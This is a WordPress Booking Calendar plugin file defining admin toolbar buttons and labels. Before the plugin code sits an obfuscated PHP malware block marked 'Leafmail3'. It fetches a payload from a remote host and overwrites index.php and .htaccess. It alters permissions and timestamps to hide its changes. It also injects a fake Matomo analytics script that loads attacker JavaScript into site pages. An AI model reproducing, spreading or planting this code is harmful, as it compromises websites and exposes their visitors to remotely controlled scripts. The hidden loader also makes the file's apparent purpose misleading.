trAvis - MANAGER
Edit File: flex_ui_elements.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php /** * @version 1.0 * @package Booking Calendar * @category Toolbar UI Elements. Data for UI Elements at Booking Calendar admin pages * @author wpdevelop * * @web-site https://wpbookingcalendar.com/ * @email info@wpbookingcalendar.com * * @modified 2024-08-13 */ if ( ! defined( 'ABSPATH' ) ) exit; // Exit, if accessed directly // --------------------------------------------------------------------------------------------------------------------- // Simple elements // --------------------------------------------------------------------------------------------------------------------- /** * Show FLEX Button * * @param array $item array( 'type' => 'button' , 'title' => '' // Title of the button , 'hint' => '' // , 'hint' => array( 'title' => __('Select status' ,'booking') , 'position' => 'bottom' ) , 'link' => 'javascript:void(0)' // Direct link or skip it , 'action' => '' // Some JavaScript to execure, for example run the function , 'class' => '' // wpbc_ui_button | wpbc_ui_button_primary , 'icon' => '' , 'font_icon' => '' , 'icon_position' => 'left' // Position of icon relative to Text: left | right , 'style' => '' // Any CSS class here , 'mobile_show_text' => false // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ); */ function wpbc_flex_button( $item ) { $default_item_params = array( 'type' => 'button' , 'title' => '' // Title of the button , 'hint' => '' // , 'hint' => array( 'title' => __('Select status' ,'booking') , 'position' => 'bottom' ) , 'link' => 'javascript:void(0)' // Direct link or skip it , 'action' => '' // Some JavaScript to execure, for example run the function , 'id' => '' // '' | 'wpbc_ui_button_primary' , 'class' => '' // '' | 'wpbc_ui_button_primary' , 'icon' => false // array( 'icon_font' => 'wpbc_icn_check_circle_outline', 'position' => 'right', 'icon_img' => '' ) , 'style' => '' // Any CSS class here , 'mobile_show_text' => false // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() , 'options' => array( 'link' => 'esc_attr' ) // array( 'link' => 'decode' ) ); $item_params = wp_parse_args( $item, $default_item_params ); $css_button_class = esc_attr( $item_params['class'] ); if ( 'wpbc_button_as_icon' !== $css_button_class ) { $css_button_class = 'wpbc_ui_button ' . $css_button_class; } ?><a class="wpbc_ui_control <?php echo $css_button_class; echo ( ! empty( $item_params['hint'] ) ) ? ' tooltip_' . esc_attr( $item_params['hint']['position'] ) . ' ' : '' ; ?>" style="<?php echo esc_attr( $item_params['style'] ); ?>" href="<?php if ( 'esc_attr' == $item_params['options']['link'] ) { echo esc_attr( $item_params['link'] ); } if ( 'decode' == $item_params['options']['link'] ) { echo str_replace( '"', '', htmlspecialchars_decode( esc_attr( $item_params['link'] ), ENT_QUOTES ) ); } if ( 'no_decode' == $item_params['options']['link'] ) { echo str_replace( '"', '', $item_params['link'] ); } ?>" <?php if ( ! empty( $item_params['id'] ) ) { ?> id="<?php echo $item_params['id']; ?>" <?php } ?> <?php if ( ! empty( $item_params['action'] ) ) { ?> onclick="javascript:<?php echo wpbc_esc_js( $item_params['action'] ); ?>" <?php } ?> <?php if ( ! empty( $item_params['hint'] ) ) { ?> title="<?php echo esc_attr( $item_params['hint']['title'] ); ?>" <?php } ?> <?php echo wpbc_get_custom_attr( $item_params ); ?> ><?php $btn_icon = ''; // Icon if ( ( ! empty( $item_params['icon'] ) ) && ( is_array( $item_params['icon'] ) ) ) { // Icon IMG if ( ! empty( $item_params['icon']['icon_img'] ) ) { if ( substr( $item_params['icon']['icon_img'], 0, 4 ) != 'http' ) { $img_path = WPBC_PLUGIN_URL . '/assets/img/' . $item_params['icon']['icon_img']; } else { $img_path = $item_params['icon']['icon_img']; } $btn_icon = '<img class="menuicons" src="' . esc_url( $img_path ) . '" />'; // Img Icon } // Icon Font if ( ! empty( $item_params['icon']['icon_font'] ) ) { $btn_icon = '<i class="menu_icon icon-1x ' . esc_attr( $item_params['icon']['icon_font'] ) . '"></i>'; // Font Icon } } if ( ( ! empty( $btn_icon ) ) && ( $item_params['icon']['position'] == 'left' ) ) { echo $btn_icon; if ( ! empty( $item_params['title'] ) ) { echo ' '; } } // Text echo '<span' . ( ( ( ! empty( $btn_icon ) ) && ( ! $item_params['mobile_show_text'] ) )? ' class="in-button-text"' : '' ) . '>'; echo html_entity_decode( wp_kses_post( $item_params['title'] ) // Sanitizes content for allowed HTML tags for post content , ENT_QUOTES // Convert " to " and ' , get_bloginfo( 'charset' ) // 'UTF-8' or other ); // Convert &dash; to ‐ etc... if ( ( ! empty( $btn_icon ) ) && ( $item_params['icon']['position'] == 'right' ) ) { echo ' '; } echo '</span>'; if ( ( ! empty( $btn_icon ) ) && ( $item_params['icon']['position'] == 'right' ) ) { echo $btn_icon; } ?></a><?php } /** * Show FLEX Label * * @param array $item array( 'id' => '' // HTML ID of INPUT element , 'label' => __('Text..','booking') // Label text here , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes ) */ function wpbc_flex_label( $item ) { $default_item_params = array( 'id' => '' // HTML ID of element , 'label' => '' // Label , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'hint' => '' // , 'hint' => array( 'title' => __('Select status' ,'booking') , 'position' => 'bottom' ) , 'attr' => array() // Any additional attributes, if this radio | checkbox element ); $item_params = wp_parse_args( $item, $default_item_params ); if ( ( ! empty( $item_params['label'] ) ) || ( ! empty( $btn_icon ) ) ) { ?><label for="<?php echo esc_attr( $item_params['id'] ); ?>" class="wpbc_ui_control_label <?php echo esc_attr( $item_params['class'] ); echo ( ! empty( $item_params['hint'] ) ) ? ' tooltip_' . esc_attr( $item_params['hint']['position'] ) . ' ' : '' ; ?>" style="<?php echo esc_attr( $item_params['style'] ); ?>" <?php if ( ! empty( $item_params['hint'] ) ) { ?> title="<?php echo esc_attr( $item_params['hint']['title'] ); ?>" <?php } ?> <?php disabled( $item_params['disabled'], true ); ?> <?php echo wpbc_get_custom_attr( $item_params ); ?> ><?php echo html_entity_decode( wp_kses_post( $item_params['label'] ) // Sanitizes content for allowed HTML tags for post content , ENT_QUOTES // Convert " to " and ' , get_bloginfo( 'charset' ) // 'UTF-8' or other ); // 